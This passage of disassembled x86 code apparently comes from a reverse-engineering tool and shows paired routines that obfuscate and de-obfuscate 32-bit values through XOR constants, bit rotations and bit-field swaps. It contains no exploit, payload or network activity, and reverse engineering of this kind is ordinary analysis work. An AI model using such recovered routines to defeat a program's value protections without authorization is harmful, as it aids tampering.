mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 16h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 13h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Fh
push 0Dh
push 10h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 10h
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0CA088364h
mov [ebp+arg_0], edx
push 0Ch
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 8CC61930h
mov [ebp+arg_0], edx
push 6
push 0
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494001 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494121 proc near ; CODE XREF: sub_49568F+Dp
; sub_4999E5+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFAh
push 0
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 8CC61930h
mov [ebp+arg_0], ecx
push 0FFFFFFF9h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0CA088364h
mov [ebp+arg_0], ecx
push 10h
push 1
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFF1h
push 0Dh
push 10h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFEDh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 16h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 0Bh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF6h
push 0
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFEDh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 5
push 1Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 373364AFh
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494241 proc near ; CODE XREF: sub_4961D1+C9p
; sub_49C74A+8Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 1D04DC3Bh
mov [ebp+arg_0], eax
push 13h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A48425Ah
mov [ebp+arg_0], edx
push 1Dh
push 1
push 1Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0Fh
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 15h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 18h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494241 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4942D0 proc near ; CODE XREF: sub_4961D1+Dp
; sub_49C74A+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFE8h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 15h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE9h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Fh
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE3h
push 1
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0A48425Ah
mov [ebp+arg_0], edx
push 13h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 1D04DC3Bh
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4942D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494360 proc near ; CODE XREF: sub_49961E+D3p
; sub_49A102+14Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 68C88CD7h
mov [ebp+arg_0], eax
push 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Dh
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0C5EF9B47h
mov [ebp+arg_0], ecx
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 1
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Bh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 5
push 4
push 15h
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0C91C232Bh
mov [ebp+arg_0], ecx
push 0
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 9
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Eh
push 2
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 19h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 6
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 12h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Fh
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 3
push 0Ah
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 830759F3h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494360 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4944F6 proc near ; CODE XREF: sub_49961E+Dp
; sub_49A102+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 830759F3h
mov [ebp+arg_0], eax
push 3
push 0Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Fh
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE9h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 12h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF7h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 6
push 4
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE7h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFF2h
push 2
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 9
push 5
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE6h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C91C232Bh
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 4
push 15h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE5h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 8
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ch
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFFBh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C5EF9B47h
mov [ebp+arg_0], eax
push 11h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 68C88CD7h
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4944F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49468A proc near ; CODE XREF: sub_498423+D7p
; sub_49850A+AEp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 505FBF72h
mov [ebp+arg_0], eax
push 1Bh
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 2
push 1Dh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 1Ch
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 8
push 2
push 0Bh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 16h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 53C92B93h
mov [ebp+arg_0], ecx
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 19h
push 3
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 7
push 0Dh
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49468A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49477C proc near ; CODE XREF: sub_498423+Dp
; sub_49850A+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFF9h
push 0Dh
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE9h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE7h
push 3
push 1Ah
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 53C92B93h
mov [ebp+arg_0], edx
push 16h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 2
push 0Bh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFFCh
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0
push 1Ch
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFEEh
push 2
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Bh
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 505FBF72h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49477C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49486E proc near ; CODE XREF: sub_4986BC+C6p
; sub_4997AD+185p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0ABD325F6h
mov [ebp+arg_0], eax
push 0
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 30673A26h
mov [ebp+arg_0], eax
push 2
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
push 8
push 0Fh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 9
push 0
push 1Eh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C427EFE5h
mov [ebp+arg_0], eax
push 16h
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 4
push 0Ch
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 9
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Bh
push 0Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Ah
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0ACD06380h
mov [ebp+arg_0], eax
push 16h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 2
push 2
push 1Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49486E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4949C1 proc near ; CODE XREF: sub_4986BC+Dp
; sub_4997AD+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFF8h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 2
push 1Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 16h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0ACD06380h
mov [ebp+arg_0], eax
push 0Ah
push 6
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF7h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFCh
push 0Ch
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 16h
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0C427EFE5h
mov [ebp+arg_0], eax
push 0FFFFFFF7h
push 0
push 1Eh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 17h
push 3
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE3h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 8
push 0Fh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 2
push 1Dh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 30673A26h
mov [ebp+arg_0], eax
push 12h
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 19h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0ABD325F6h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_4949C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494B14 proc near ; CODE XREF: sub_49512C+9Ep
; sub_4980E0+9Ap ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 59E58FBh
mov [ebp+arg_0], eax
push 8
push 5
push 12h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 17h
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 19h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 5
push 15h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Ch
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 2
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 5
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0E1B9593Eh
mov [ebp+arg_0], edx
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 6
push 0Ah
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 2
push 14h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Dh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0EE6548DFh
mov [ebp+arg_0], edx
push 12h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494B14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494C6D proc near ; CODE XREF: sub_49512C+Dp
; sub_4980E0+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 12h
push 2
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0EE6548DFh
mov [ebp+arg_0], ecx
push 0FFFFFFE3h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 14h
push 3
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF8h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 6
push 0Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFEDh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0E1B9593Eh
mov [ebp+arg_0], ecx
push 12h
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Bh
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 4
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFBh
push 15h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1
push 19h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFE7h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 17h
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 5
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 59E58FBh
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_494C6D endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494DD0 proc near ; CODE XREF: sub_490FD0+4Dp
; sub_490FD0+89p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jge short loc_494DE2
mov eax, [ebp+arg_4]
add eax, 20h
mov [ebp+arg_4], eax
loc_494DE2: ; CODE XREF: sub_494DD0+7j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
shr eax, cl
mov ecx, 20h
sub ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
shl edx, cl
or eax, edx
pop ebp
retn
sub_494DD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494DFB proc near ; CODE XREF: sub_490FD0+CFp
; sub_491135+92p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_C], 0
jge short loc_494E10
mov eax, [ebp+arg_C]
add eax, [ebp+arg_4]
mov [ebp+arg_C], eax
loc_494E10: ; CODE XREF: sub_494DFB+Aj
mov edx, 1
mov ecx, [ebp+arg_4]
shl edx, cl
sub edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
shr eax, cl
and eax, [ebp+var_8]
mov [ebp+var_4], eax
mov edx, [ebp+var_4]
mov ecx, [ebp+arg_C]
shr edx, cl
mov ecx, [ebp+arg_4]
sub ecx, [ebp+arg_C]
mov eax, [ebp+var_4]
shl eax, cl
or edx, eax
and edx, [ebp+var_8]
mov [ebp+var_4], edx
mov edx, [ebp+var_8]
mov ecx, [ebp+arg_8]
shl edx, cl
not edx
mov eax, [ebp+arg_0]
and eax, edx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
mov ecx, [ebp+arg_8]
shl edx, cl
mov eax, [ebp+arg_0]
or eax, edx
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_494DFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_494E72 proc near ; CODE XREF: sub_490FD0+16p
; sub_490FD0+3Cp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, 1
mov ecx, [ebp+arg_4]
shl eax, cl
sub eax, 1
mov [ebp+var_4], eax
mov edx, [ebp+var_4]
mov ecx, [ebp+arg_8]
shl edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
and eax, [ebp+var_4]
mov [ebp+var_10], eax
mov edx, [ebp+arg_0]
and edx, [ebp+var_C]
mov ecx, [ebp+arg_8]
shr edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
or eax, [ebp+var_C]
not eax
mov ecx, [ebp+arg_0]
and ecx, eax
mov [ebp+arg_0], ecx
mov edx, [ebp+var_10]
mov ecx, [ebp+arg_8]
shl edx, cl
or edx, [ebp+var_8]
